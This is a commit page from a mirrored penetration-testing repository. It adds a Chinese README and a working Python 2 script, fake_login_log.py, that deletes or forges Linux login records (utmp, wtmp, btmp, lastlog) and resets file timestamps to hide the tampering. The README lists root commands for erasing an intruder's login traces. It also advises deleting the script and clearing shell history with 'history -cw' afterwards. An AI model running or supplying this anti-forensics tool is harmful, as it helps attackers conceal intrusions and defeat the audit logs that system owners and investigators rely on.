mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2026-05-09 22:37:49 +08:00
mv ssh Linux系统登录日志清除伪造 --> tools
This commit is contained in:
@@ -0,0 +1,33 @@
|
||||
## 渗透测试TIPS之删除、伪造Linux系统登录日志
|
||||
> 来源于[freebuf](https://www.freebuf.com/articles/system/141474.html),文章备份:[渗透测试TIPS之删除伪造Linux系统登录日志.pdf](渗透测试TIPS之删除伪造Linux系统登录日志.pdf),但是文章脚本失效了,我保存了一份.
|
||||
### 适用于 Linux 系统,[`fake_login_log.py`](https://github.com/Mr-xn/Penetration_Testing_POC/blob/master/ssh/fake_login_log.py) 脚本默认适用于`python2`版本,需要`Root`权限!
|
||||
## 演示:
|
||||

|
||||
## USEAGE
|
||||
> 首先下载到本地:
|
||||
> wget https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/ssh/fake_login_log.py
|
||||
> 没有 wget 的请自行下载 Debian/Ubuntu 使用 sudo apt install wget -y ; Centos 使用yum install wget -y ; 新版的系统一般都默认安装有。
|
||||
### 删除日志
|
||||
1. 删除utmp记录,将自己从w或者who输出中隐藏
|
||||
`python fake_login_log.py --mode delete --type utmp --user root` //删除用户为root的用户记录
|
||||
`python fake_login_log.py --mode delete --type utmp --user root --host "58.47.251.255" `//删除用户为root且登录来源host为58.47.251.255的用户记录
|
||||
2. 删除历史登录记录(wtmp),隐藏last的记录
|
||||
`python fake_login_log.py --mode delete --type wtmp --user root --host "111.30.32.213" `//删除用户为root且登录来源host为111.30.32.213的用户记录
|
||||
3. 删除btmp记录,隐藏lastb的记录,lastb为登录失败的用户记录
|
||||
`python fake_login_log.py --mode delete --type btmp --user root --host "172.16.50.156" `//删除用户为root且登录来源host为127.0.0.1的用户记录
|
||||
4. 删除lastlog记录,不能通过用户删除,只能通过host或者时间
|
||||
`python fake_login_log.py --mode delete --type lastlog --host "172.16.50.1" `//删除来源host的用户登录记录
|
||||
`python fake_login_log.py --mode delete --type lastlog --date "2017-8-2 22:46:34" `//删除登录时间为2017-8-2 22:46:34的用户登录记录
|
||||
|
||||
### 伪造日志
|
||||
1. 伪造utmp记录,将自己从w或者who输出中伪造
|
||||
`python fake_login_log.py --mode add --type utmp --user nobody --tty "pts/8" --pid 25394 --date "2017-8-2 22:46:34" --host "127.0.0.1" `//伪造用户为nobody的用户记录
|
||||
> 这里伪造的时间和host可以通过who命令去找到,PID一般伪造bash或者ssh通过`ps -aux | grep ssh/bash`去寻找
|
||||
2. 伪造历史登录记录(wtmp),伪造last的记录
|
||||
`python fake_login_log.py --mode add --type wtmp --user root --tty "pts/7" --date "2017-8-2 00:06:34" --host "127.0.0.1" `
|
||||
3. 伪造btmp记录,伪造lastb的记录,lastb为登录失败的用户记录
|
||||
`python fake_login_log.py --mode add --type btmp --user root --tty "pts/7" --date "2017-8-2 00:06:34" --host "127.0.0.1" `//伪造用户为root且登录来源host为127.0.0.1的用户登录失败记录
|
||||
4. 伪造lastlog记录
|
||||
`python fake_login_log.py --mode add --type=lastlog --user=rootclay --date="2017-7-24 14:22:07" --tty "pts/2" --host "127.0.0.1" `//伪造用户为rootclay 时间2017-7-24 14:22:07 来源登录ip为127.0.0.1的用户登录记录
|
||||
|
||||
> PS: 执行完这些命令之后删除掉`fake_login_log.py`本身然后使用`history -cw`清除一下历史记录.美滋滋
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 942 KiB |
@@ -0,0 +1,342 @@
|
||||
#!/usr/bin/env python2
|
||||
# -*- coding:utf-8 -*-
|
||||
# author knpewg85942
|
||||
# link:https://www.freebuf.com/articles/system/141474.html
|
||||
# blog:https://forreestx386.github.io/
|
||||
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import random
|
||||
import struct
|
||||
import argparse
|
||||
from pwd import getpwnam
|
||||
|
||||
|
||||
class GeneralError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class FakeLog(object):
|
||||
def __init__(self, args):
|
||||
self.type = args.type
|
||||
self.user = args.user
|
||||
self.host = args.host
|
||||
self.timestamp = args.timestamp
|
||||
try:
|
||||
self.date = str(
|
||||
time.mktime(time.strptime(
|
||||
args.date,
|
||||
"%Y-%m-%d %H:%M:%S"))).split('.')[0] if args.date else None
|
||||
except ValueError, e:
|
||||
self.date = str(
|
||||
time.mktime(
|
||||
time.strptime(args.date + ':0',
|
||||
"%Y-%m-%d %H:%M:%S"))).split('.')[0]
|
||||
self.date_end = str(
|
||||
time.mktime(
|
||||
time.strptime(args.date +
|
||||
":59", "%Y-%m-%d %H:%M:%S"))).split(
|
||||
'.')[0] if args.date else None
|
||||
|
||||
self.tty = args.tty
|
||||
self.pid = args.pid
|
||||
self.FILE_DICT = {
|
||||
'utmp': '/var/run/utmp',
|
||||
'wtmp': '/var/log/wtmp',
|
||||
'btmp': '/var/log/btmp',
|
||||
'lastlog': '/var/log/lastlog'
|
||||
}
|
||||
self.FILE_PATH = self.FILE_DICT[self.type]
|
||||
self.XTMP_STRUCT = 'hi32s4s32s256shhiii4i20x'
|
||||
self.XTMP_STRUCT_SIZE = struct.calcsize(self.XTMP_STRUCT)
|
||||
self.LAST_STRUCT = 'I32s256s'
|
||||
self.LAST_STRUCT_SIZE = struct.calcsize(self.LAST_STRUCT)
|
||||
|
||||
def get_timestamp_by_user(self):
|
||||
"""
|
||||
根据用户名,从/var/log/wtmp中获取用户最后一次登录记录的时间戳
|
||||
:return:
|
||||
"""
|
||||
_result = []
|
||||
with open(self.FILE_DICT['wtmp'], 'rb') as fd:
|
||||
while True:
|
||||
record_bytes = fd.read(self.XTMP_STRUCT_SIZE)
|
||||
if not record_bytes:
|
||||
break
|
||||
data = struct.unpack(self.XTMP_STRUCT, record_bytes)
|
||||
record = [(lambda s: str(s).split("\0", 1)[0])(i)
|
||||
for i in data]
|
||||
if record[4] == self.user:
|
||||
_result.append(record[-6])
|
||||
return max(_result) if _result else None
|
||||
|
||||
def delete_log(self):
|
||||
"""
|
||||
根据条件删除utmp | wtmp |btmp |lastlog 中的记录
|
||||
:return:
|
||||
"""
|
||||
to_remain = ''
|
||||
_atime = os.stat(self.FILE_PATH).st_atime # 保存修改前的文件时间属性,以便修改后恢复
|
||||
_mtime = os.stat(self.FILE_PATH).st_mtime
|
||||
|
||||
if self.type.endswith('tmp'): # deal xtmp log
|
||||
try:
|
||||
with open(self.FILE_PATH, 'rb') as fd:
|
||||
while True:
|
||||
record_bytes = fd.read(self.XTMP_STRUCT_SIZE)
|
||||
if not record_bytes:
|
||||
break
|
||||
data = struct.unpack(self.XTMP_STRUCT, record_bytes)
|
||||
record = [(lambda s: str(s).split("\0", 1)[0])(i)
|
||||
for i in data]
|
||||
_user = record[4]
|
||||
_host = record[5]
|
||||
_date = record[9]
|
||||
|
||||
if self.user:
|
||||
if self.user == _user:
|
||||
if self.host:
|
||||
if self.host == _host:
|
||||
if self.date:
|
||||
if self.date <= _date <= self.date_end:
|
||||
continue
|
||||
else:
|
||||
to_remain += record_bytes
|
||||
else:
|
||||
continue
|
||||
else:
|
||||
to_remain += record_bytes
|
||||
elif self.date:
|
||||
if self.date <= _date <= self.date_end:
|
||||
continue
|
||||
else:
|
||||
to_remain += record_bytes
|
||||
else:
|
||||
continue
|
||||
else:
|
||||
to_remain += record_bytes
|
||||
elif self.host:
|
||||
if self.host == _host:
|
||||
if self.date:
|
||||
if self.date <= _date <= self.date_end:
|
||||
continue
|
||||
else:
|
||||
to_remain += record_bytes
|
||||
else:
|
||||
continue
|
||||
else:
|
||||
to_remain += record_bytes
|
||||
else:
|
||||
if self.date <= _date <= self.date_end:
|
||||
continue
|
||||
else:
|
||||
to_remain += record_bytes
|
||||
except IOError as e:
|
||||
raise GeneralError('file error: {0}'.format(e.message))
|
||||
except Exception, e:
|
||||
raise GeneralError('error occur: {0}'.format(e.message))
|
||||
else:
|
||||
with open(self.FILE_PATH, 'wb') as fd:
|
||||
fd.write(to_remain)
|
||||
os.utime(self.FILE_PATH,
|
||||
(_atime, _mtime)) # restore a file atime, mtime
|
||||
|
||||
else: # deal lastlog, 根据unix时间戳或用户名删除指定用户最后一次登录记录
|
||||
try:
|
||||
with open(self.FILE_PATH, 'rb') as fd:
|
||||
while True:
|
||||
record_bytes = fd.read(self.LAST_STRUCT_SIZE)
|
||||
if not record_bytes:
|
||||
break
|
||||
data = struct.unpack(self.LAST_STRUCT, record_bytes)
|
||||
record = [(lambda s: str(s).split("\0", 1)[0])(i)
|
||||
for i in data]
|
||||
_timestamp = record[0]
|
||||
_host = record[2]
|
||||
|
||||
if self.host:
|
||||
if self.host == _host:
|
||||
if self.date:
|
||||
if self.date == _timestamp:
|
||||
continue
|
||||
else:
|
||||
to_remain += record_bytes
|
||||
else:
|
||||
continue
|
||||
else:
|
||||
to_remain += record_bytes
|
||||
elif self.date:
|
||||
if self.date == _timestamp:
|
||||
continue
|
||||
else:
|
||||
to_remain += record_bytes
|
||||
else:
|
||||
to_remain += record_bytes
|
||||
except IOError as e:
|
||||
raise GeneralError('file error: {0}'.format(e.message))
|
||||
except Exception, e:
|
||||
raise GeneralError('error occur: {0}'.format(e.message))
|
||||
else:
|
||||
with open(self.FILE_PATH, 'wb') as fd:
|
||||
fd.write(to_remain)
|
||||
os.utime(self.FILE_PATH,
|
||||
(_atime, _mtime)) # restore a file atime, mtime
|
||||
|
||||
def add_log(self):
|
||||
"""
|
||||
根据条件,增加额外混淆日志
|
||||
utmp | wtmp | btmp | lastlog
|
||||
:return:
|
||||
"""
|
||||
to_add_xtmp = [
|
||||
7, 13009, 'pts/4', 'ts/4', 'root', '10.1.100.10', 0, 0, 0,
|
||||
1500475658, 498851, 23331082, 0, 0, 0
|
||||
]
|
||||
|
||||
to_add_btmp = [
|
||||
6, 13732, 'ssh:notty', '', 'root', '10.1.100.1', 0, 0, 0,
|
||||
1500311234, 0, 23331082, 0, 0, 0
|
||||
]
|
||||
|
||||
record_bytes = None
|
||||
_backup = None
|
||||
_atime = os.stat(self.FILE_PATH).st_atime
|
||||
_mtime = os.stat(self.FILE_PATH).st_mtime
|
||||
|
||||
if self.FILE_PATH.endswith('utmp') or self.FILE_PATH.endswith('wtmp'):
|
||||
if self.user:
|
||||
to_add_xtmp[4] = self.user
|
||||
if self.host:
|
||||
to_add_xtmp[5] = self.host
|
||||
if self.tty:
|
||||
to_add_xtmp[2] = self.tty
|
||||
to_add_xtmp[3] = self.tty[1:]
|
||||
if self.pid:
|
||||
to_add_xtmp[1] = int(self.pid)
|
||||
if self.date:
|
||||
to_add_xtmp[-6] = int(self.date) + random.randint(1, 60)
|
||||
if self.timestamp:
|
||||
# 修改用户退出登录的时间
|
||||
to_add_xtmp[-6] = int(self.timestamp)
|
||||
|
||||
record_bytes = struct.pack(self.XTMP_STRUCT, *to_add_xtmp)
|
||||
|
||||
with open(self.FILE_PATH, 'rb') as fd:
|
||||
_backup = fd.read() + record_bytes
|
||||
|
||||
with open(self.FILE_PATH, 'wb') as fd:
|
||||
fd.write(_backup)
|
||||
|
||||
os.utime(self.FILE_PATH,
|
||||
(_atime, _mtime)) # restore a file atime, mtime
|
||||
|
||||
elif self.FILE_PATH.endswith('btmp'):
|
||||
if self.user:
|
||||
to_add_btmp[4] = self.user
|
||||
if self.host:
|
||||
to_add_btmp[5] = self.host
|
||||
if self.tty:
|
||||
to_add_btmp[2] = self.tty
|
||||
to_add_btmp[3] = self.tty[1:]
|
||||
if self.pid:
|
||||
to_add_btmp[1] = int(self.pid)
|
||||
if self.date:
|
||||
to_add_btmp[-6] = int(self.date)
|
||||
if self.timestamp:
|
||||
to_add_btmp[-6] = int(self.timestamp)
|
||||
|
||||
record_bytes = struct.pack(self.XTMP_STRUCT, *to_add_btmp)
|
||||
with open(self.FILE_PATH, 'rb') as fd:
|
||||
_backup = fd.read() + record_bytes
|
||||
|
||||
with open(self.FILE_PATH, 'wb') as fd:
|
||||
fd.write(_backup)
|
||||
os.utime(self.FILE_PATH,
|
||||
(_atime, _mtime)) # restore a file atime, mtime
|
||||
|
||||
else:
|
||||
__host = '10.1.100.1'
|
||||
__date = 1500860089
|
||||
__tty = 'pts/8'
|
||||
if self.user:
|
||||
try:
|
||||
p = getpwnam(self.user)
|
||||
except:
|
||||
raise GeneralError('No such user.')
|
||||
|
||||
if self.host:
|
||||
__host = self.host
|
||||
if self.date:
|
||||
__date = int(self.date)
|
||||
if self.timestamp:
|
||||
__date = int(self.timestamp)
|
||||
if self.tty:
|
||||
__tty = self.tty
|
||||
|
||||
data = struct.pack(self.LAST_STRUCT, __date, __tty, __host)
|
||||
try:
|
||||
with open(self.FILE_PATH, 'wb') as fd:
|
||||
fd.seek(self.LAST_STRUCT_SIZE * p.pw_uid)
|
||||
fd.write(data)
|
||||
except Exception, e:
|
||||
raise GeneralError('Cannot open file: {0}'.format(
|
||||
e.message))
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
reload(sys)
|
||||
|
||||
sys.setdefaultencoding('utf8')
|
||||
|
||||
usage = 'usage: fake_login_log.py --mode delete --type utmp --user root --host 10.1.100.1\n \
|
||||
fake_login_log.py --mode delete --type wtmp --user root --host 10.1.100.1 --date '
|
||||
|
||||
parse = argparse.ArgumentParser(usage=usage)
|
||||
parse.add_argument('--mode',
|
||||
dest='mode',
|
||||
type=str,
|
||||
required=True,
|
||||
help='add, delete log')
|
||||
parse.add_argument('--type',
|
||||
dest='type',
|
||||
type=str,
|
||||
choices=['utmp', 'wtmp', 'btmp', 'lastlog'],
|
||||
required=True,
|
||||
help='utmp |wtmp |btmp |lastlog')
|
||||
parse.add_argument('--user', dest='user', type=str, help='login username')
|
||||
parse.add_argument('--host', dest='host', type=str, help='login from host')
|
||||
parse.add_argument('--date',
|
||||
dest='date',
|
||||
type=str,
|
||||
help='login time 2017-7-20 15:30')
|
||||
parse.add_argument('--timestamp',
|
||||
dest='timestamp',
|
||||
type=str,
|
||||
help='login time 1500475126')
|
||||
parse.add_argument('--pid',
|
||||
dest='pid',
|
||||
type=str,
|
||||
default=random.randint(os.getpid() + 100,
|
||||
os.getpid() + 1000),
|
||||
help='process id, for add only')
|
||||
parse.add_argument('--tty', dest='tty', type=str, help='for add only')
|
||||
|
||||
argument = parse.parse_args()
|
||||
|
||||
if argument.mode not in ('add', 'delete', 'modify'):
|
||||
raise GeneralError('error mode')
|
||||
|
||||
if not any(
|
||||
(argument.user, argument.host, argument.date, argument.timestamp)):
|
||||
raise GeneralError(
|
||||
'you must choose at least user | host | date |timestamp as condition'
|
||||
)
|
||||
|
||||
if argument.mode == 'add':
|
||||
print "add"
|
||||
FakeLog(argument).add_log()
|
||||
else:
|
||||
print "delete"
|
||||
FakeLog(argument).delete_log()
|
||||
Binary file not shown.
Reference in New Issue
Block a user